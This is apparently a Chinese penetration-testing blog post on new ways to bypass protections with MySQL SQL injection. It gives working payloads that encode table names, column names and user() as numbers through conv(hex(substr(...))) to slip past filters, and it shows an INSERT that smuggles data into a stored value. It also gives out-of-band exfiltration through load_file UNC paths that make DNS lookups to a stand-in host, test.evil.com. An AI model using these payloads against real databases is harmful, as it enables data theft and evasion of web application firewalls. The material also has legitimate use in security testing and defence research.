MySQL注入绕过新思路

2017-5-11 / 0 评论 渗透测试 / Mrxn

本文共计 1174 字,感谢您的耐心浏览与评论.

哈哈哈哈嘿嘿嘿嘿 今天带来MySQL的新姿势,姿势对不对,你们指教-_-

1.带内/带外

传统的Insert、Update是带内注入方式,直接从返回中提取到有用信息,例如时间盲注获取数据;带外注入则是间接的从外部服务器中提取数据,例如使用DNSLog获取数据。

2.字符串处理

先看看mysql对于字符串的处理,可以看到一个字符串是等于0的。0~1.jpg

进一步验证,将字符串和数字加起来。

1~1.jpg

再看看将字符串和MySQL支持的最大值加起来的结果。

2~1.jpg

可以看到,字符串返回的是DOUBLE数字,而将一个大值和一个DOUBLE值相加时,将会返回IEEE标准的DOUBLE精确值。

这时候我们可以通过或操作获取到最大的无符号BIGINT值。

3~1.jpg

3.字符串数字互转

到这里,我们可以想到一种注入方式,使用数字来传递,需要时再通过解码的方式显示字符串。

例如:

字符串 -> 数字

4~1.jpg

数字 -> 字符串

5~1.jpg

但是这里有个问题,前面提到MySQL的最大值,如果超过将不能成功解码,因此一个字符串的最大长度应该是8个字节,例如:

6~1.jpg

所以,我们可以使用mysql的substr()函数进行切割,例如:

7~1.jpg

4.编码注入

1)、获取表

select conv(hex(substr((select table_name frominformation_schema.tables where table_schema=schema() limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);8.jpg


2、获取列

select conv(hex(substr((select column_name frominformation_schema.columns where table_name='table name' limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);


3、Insert语句

insert into admin values ('admin', 'password');

insert into admin values ('admin','password'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10);

10~1.jpg


5.使用DNSLog进行带外注入

9.jpg

select load_file(concat('\\\\',(selectdatabase()),'.test.evil.com\\foo'))

select load_file(concat('\\\\',(selectunhex(conv(8245931987826405219, 10, 16))),'.test.evil.com\\foo'))

11~1.jpg

6.想想绕过防护吧,皮卡丘.哈哈

1)、盲注使用DNS解析进行高效测试

2)、使用MySQL数字与字符串编码关系绕过相关防护

标签: 攻击 渗透测试 分享 SQL注入

转载:转载请注明原文链接 - MySQL注入绕过新思路


0条回应:“MySQL注入绕过新思路”


发表评论

{view_code_no}